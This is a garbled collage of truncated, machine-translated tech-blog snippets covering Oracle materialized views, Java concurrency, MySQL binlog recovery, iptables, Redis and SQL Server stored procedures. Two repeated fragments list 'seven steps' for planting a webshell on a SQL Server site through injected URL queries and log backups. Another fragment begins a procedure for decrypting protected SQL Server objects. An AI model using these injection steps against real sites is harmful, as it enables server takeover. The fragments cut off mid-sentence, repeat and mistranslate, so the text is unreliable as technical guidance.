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Oracle support multiple materialized views through this column alone? The following is a small example. Use the table and materialized view logs created above to create three materialized views that are refreshed quickly. SQL> create materialized view mv_t_id refresh fastSelect id, count (*) from t group by id; The materialized view has been created. SQL> create materialized view mv_t_name refresh fastSelect name, count (*) from t group by name; The materialized view has been created. SQL> crea

achieve the function of the Wait (), notify (), Notifyall () method of object. The await (), signal (), Signalall () methods of condition can be considered as corresponding to the wait (), notify (), and Notifyall () methods of object. OtherMultiple threads created with the extended thread class, while executing the same code, are independent of each other and have their own resources, without interfering with each other.ExperienceThe two chapters of learning feel more difficult to understand,

create PROCEDURE sp_queryProc(@objectname varchar(50))ASbeginset nocount onbegin trandeclare @objectname1 varchar(100),@orgvarbin varbinary(8000)declare @sql1 nvarchar(4000),@sql2 varchar(8000),@sql3 nvarchar(4000),@sql4 nvarchar(4000)DECLARE @OrigSpText1 nvarchar(4000), @OrigSpText2 nvarchar(

On the Internet, I often ask what is the maximum length of Oracle varchar2? In fact, this name is not accurate. varchar2 is used in both oracle SQL and pl/SQL. oracle points out in the SQL reference manual and pl/SQL reference manual: the maximum length of oracle SQL varchar2 is 4000 bytes, while that of oracle plsql varchar2 is 32767 bytes. This is why a friend asked why 32767 characters (character/byte) are defined in pl/SQL, and the table fields ca

created. SQL> create materialized view mv_t_name refresh fastSelect name, count (*) from t group by name; The materialized view has been created. SQL> create materialized view mv_t_id_name refresh fastSelect id, name, count (*) from t group by id, name; The materialized view has been created. SQL> insert into t values (1, 'A', 2 ); SQL> insert into t values (1, 'B', 3 ); SQL> insert into t values (2, 'A', 5 ); SQL> insert into t values (3, 'B', 7 ); SQL> update t set name = 'C' where id = 3; SQ

There areCode: VaR num = 2; function auto () {alert (Num);} setTimeout (Auto (), 4000 ); In this sectionProgram. That is to say, if you reference a function using the above method, the timer does not work. Similarly, the code above setinterval cannot work normally. The program can only pop up a warning box once and then report an error. Change the timer Setinterval ('Auto () ', 4000); setTimeout ('Auto

programming. Because we need to implement point-to-point communication, we have to combine the customer and server modes into one mode so that the server can be a customer, the customer can also act as a server so that both parties have the ability to call the other party and receive the call from the other party. This only requires adding a listening socket. Once the call connection is established successfully, a data stream is established between the two points. Even if both parties do not sp

java.util.concurrent.Executors;Import Java.util.concurrent.locks.Lock;Import Java.util.concurrent.locks.ReentrantLock;/*** Java Thread: Lock** @author leizhimin 2009-11-5 10:57:29*/public class Test {public static void Main (string[] args) {Create a concurrent access accountMycount mycount = new Mycount ("95599200901215522", 10000);Create a Lock ObjectLock lock = new Reentrantlock ();Create a thread poolExecutorservice pool = Executors.newcachedthreadpool ();Create a number of concurrent access

‘ mysqlbinlog: unknown variable ‘default-character-set=utf8‘ Workaround: [[emailprotected] opt]# grep mysqlbinlog binlog-rollback.pl #通过mysqlbinlog -v 解析binlog生成可读的sql文件 $MYSQLBINLOG = qq{mysqlbinlog --no-defaults -v}; ###添加上参数--no-defaults 解决问题Five, test delete, and update error operation after the SQL extraction and data recovery 5.1delete Delete forgot to add conditional recovery testMySQL [zixun3]> SELECT * from Zx_scores; +----+--------+------+----------+-----------+ | ID | Titles | i

The analysis of CLOB type processing in the original Broken Sword ice-oraclePrevious analysis: ORA-01461: Can only bind a long value to insert a long columnMost recently, for the Clob field, when inserting data, the number of bytes in the character (one half-width character, one byte, one full-width character, two bytes) between 2000-4000 times is wrong (ORA-01461: You can only insert a Long value assignment for a long column). After constantly lookin

Special sentence for spare partAdd a response.end will have a different effect, that is, after inserting a sentence all the code is invalid, in a sentence here to stop, also reduce the size of Webshell. Seven steps of the Webshell standard for log preparation:1.InjectionURL '; ALTER DATABASE XXX set RECOVERY full--(set SQL to log Full recovery mode)2.InjectionURL '; Create table cmd (a image)--(Create a new cmd table)3.InjectionURL '; backup log XXX to disk = ' C:\cmd ' with init-

themore than the popular models, under the millet, Meizu, one Plus, Huawei Glory, ZTE Nubian, cool, Lenovo, step by step high -under the Yuan model, the hammer selected this price is very embarrassing, if the price line on the vertical comparison, do not want to pass the old Luo's hammer to compete with whom? Sentiment itself is a small crowd have the state of mind, the pursuit of feelings of the user, most of the price is not sensitive, they have higher spiritual pursuit, they pay more attenti

:( Red Hat Ent Erprise Linux Server release 6.0 (Santiago) [root @ 6 mongo] # cat/etc/mongod. conf | grep jieshireplSet = jieshiroot @ 6 mongo] #/etc/init. d/mongod startStarting mongod: forked process: 8w.all output going to:/var/log/mongo/mongod. log [OK] [root @ 6 mongo] # tail/var/log/mongo/mongod. logFri Dec 10 13:18:50 [startReplSets] replSet can't get local. system. replset config from self or any seed (EMPTYCONFIG) F Ri Dec 10 13:18:54 [snapshotthread] cpu: elapsed:

22-j ACCEPT-A output-p tcp -- sport 22-j ACCEPT3. Allow Intranet machines to log on to MSN and QQ.(MSN and QQ are not allowed to log on by default) QQ can generally log on from TCP 80, 8000, 443, UDP 8000, 4000, while MSN can log on from TCP 1863, 443. The process of logging on to MSN and QQ is like accessing the Internet. It is also a designated port for accessing the remote server. Therefore, we only need to use data forwarding.-A prerouting-p tcp

is inserted is invalid. In a single sentence, it will reduce the webshell size.Log backup is divided into seven steps of the WEBSHELL standard: 1. InjectionURL '; alter database XXX set recovery full -- (set SQL to log FULL RECOVERY mode) 2. InjectionURL '; create table cmd (a image) -- (create a cmd table) 3. InjectionURL '; backup log XXX to disk = 'C: cmd' with init -- (reduce the size of the backup data) 4. InjectionURL '; insert into cmd (a) values (' "hexadecimal characters into the table

-subscribeThe code is as follows:require(‘redis‘sub = function(c) { ‘chatchannel‘; redisclient.subscribe(c, function(e) { console.log(‘subscribe channel : ‘ + c); });}sub();redisclient.on(‘message‘, function(error, response) { console.log(response);})In addition, a REDIS-CLI subscribe is launched to compare and execute the results:node. JS launches a Httpservervarrequire(‘http‘);// var server = http.createServer().listen(4000);http.

both parties have the ability to call the other party and receive the call from the other party. This only requires adding a listening socket. Once the call connection is established successfully, a data stream is established between the two points. Even if both parties do not speak, each point continuously receives and sends data, the voice of one Party naturally passes the data stream to the other party, so the key issue is how to read the voice data stream, because the stream service provide

-- 1. Create a stored procedure Create procedure sp_decrypt (@ objectname varchar (50) as begin set nocount on -- csdn: j9988 copyright: 2004.07.15 -- v3.2 -- crack byte is unrestricted, applicable to sqlserver2000 stored procedures, functions, views, trigger -- corrected the previous version of "view trigger" could not be correctly decrypted error -- Found error, please e_mail: CSDNj9988@tom.com begin Tran declare @ objectname1 varchar (100), @ orgvarbin varbinary (8000) declare @ sql1 nvarcha

I recently modified a paging storage process. As a newbie, I still benefited a lot from it. Now I will start my paging journey today.1. Start Restoration Next, let's take a look at the original paging stored procedure. Alter procedure [dbo]. [sp_ SQL _Paging] ( @ SqlDataTable NVARCHAR (4000), -- table name @ PrimaryKey NVARCHAR (4000), -- primary key name @ Fields NVARCHAR (

used here to better illustrate how the comparator works.Once the interface IComparable is implemented, we can sort the salary according to Basesalary, as shown in the following code:ArrayList companysalary =NewArrayList (); Companysalary.add (NewSalary () {Name ="Mike", basesalary = the }); Companysalary.add (NewSalary () {Name ="Rose", basesalary = - }); Companysalary.add (NewSalary () {Name ="Jeffry", basesalary = + }); Companysalary.add (NewSalary () {Name ="Steve", basesalary =